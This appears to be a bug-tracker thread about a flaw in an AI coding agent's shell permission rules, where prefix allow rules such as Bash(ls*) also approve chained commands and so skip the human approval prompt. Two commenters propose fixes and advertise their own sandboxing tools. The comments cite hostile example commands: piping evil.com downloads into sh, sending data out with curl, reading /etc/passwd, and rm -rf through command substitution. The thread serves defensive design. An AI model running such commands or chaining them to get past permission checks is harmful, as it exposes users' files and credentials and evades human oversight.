HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask #13288

Activity

1. shleder commented on Sep 24, 2026

   

   shleder

   on Sep 24, 2026

   More actions

   Prefix-based regex matching for shell commands (^prefix.*$) is fundamentally unsound because POSIX shell interpreters treat ;, &&, ||, |, &, newline, and backticks as command separators. Furthermore, building an AST parser in userspace to catch all subshells, aliases, parameter expansions, and process substitutions (<(cmd)) is practically intractable.

   When an allow rule like Bash(ls*) matches chained commands (e.g. ls; cat /etc/passwd or ls && curl http://evil.com | sh), attempting to fix it by expanding regex checks only leads to another parsing loophole.

   The architectural solution is to enforce security boundaries at the OS kernel level rather than parsing command strings:

   1. Kernel-Level VFS Sandboxing: Instead of evaluating whether a chained command string looks safe, execute the shell inside an unprivileged sandbox where the process physically lacks permissions to access sensitive files. Landlock LSM (ABI 1–6) restricts openat and unlinkat at the kernel level, ensuring that even if cat /etc/passwd or rm -rf / is chained, the kernel immediately denies the syscall with EACCES.
   2. Inode-Level Secret Masking: Using unprivileged mount namespaces (CLONE_NEWUSER | CLONE_NEWNS) with empty tmpfs overlays over ~/.ssh, ~/.aws, and .env guarantees that credential exfiltration is impossible even with arbitrary shell chaining.
   3. Network Egress Filtering: Isolating the network namespace (CLONE_NEWNET) and routing traffic through a local L7 proxy with TLS SNI inspection prevents unauthorized outbound network connections from piped shell commands.

   We implemented this in Vetto. Vetto removes reliance on shell command regex matching by enforcing Landlock LSM boundaries, unprivileged namespaces, and secret masking between fork() and execve() in under 4ms, ensuring that chained or obfuscated commands cannot violate security boundaries.

   Disclaimer: I am the author/maintainer of Vetto.
2. DSHCorrectover commented on Oct 5, 2026

   

   DSHCorrectover

   on Oct 5, 2026

   More actions

   Splitting on ;/&&/|| as suggested is necessary but not sufficient — four concrete cases a naive separator split leaves open, which are worth designing into the fix:

   1. Pipes run every stage, not just the last one. ls | sh and ls | curl http://evil.com --data-binary @- have no listed separator at all, and the destructive/exfil side isn't even the final command. Every simple command in the pipeline needs to be checked independently.
   2. Substitution executes during expansion, before the "outer" command runs. ls $(curl http://evil.com|sh), ls `rm -rf $HOME`, ls <(nc ...), and ls !-1 (history expansion) all carry executable payloads the split never reaches. The evaluator must recurse into command/process substitutions, not just the top-level chain.
   3. The glob must match the resolved command word, not the substring. ^ls.*$ against the full string is what matches ls; .... Match each simple command's argv[0] instead, so lsfoo and false-style lookalikes don't match the ls rule; literal glob prefixes like ls* should mean "this command word", and anything after the word (args, operators) is outside the match.
   4. Verdict combination should be most-restrictive, and parse failure must be fail-closed. If any sub-command's static rule isn't allow, the whole call drops to ask; if the parser can't tokenize the string (encoding tricks, exotic syntax), the safe default is ask — never "couldn't parse → run it".

   On tooling: shell-quote is lossy for exactly this job (it stringifies $HOME to an empty token — the same root issue as #13001). A real shell grammar is the right level: the mvdan/sh Go parser is one option; in a pure Node path, a WebAssembly build of a POSIX/bash grammar (or tree-sitter-bash) gives a proper AST to walk, including substitutions and pipelines. It pairs naturally with the precedence fix — static preference should only ever narrow a dynamic verdict, never widen it: final = mostRestrictive(static, dynamic) with disabled > ask > allow.

   ---

   Independent-layer note: we build agent-runtime-guard, a local, fail-closed interception layer for agent tool calls — it evaluates the resolved compound command, pipelines and substitutions included, and signs an Ed25519 receipt per verdict rather than relying on a single static-prefix gate. It runs free with no key or account, and if it doesn't actually stop this class of attack in your setup, you owe nothing — it has to solve the problem first. The only paid side is human audit/compliance work.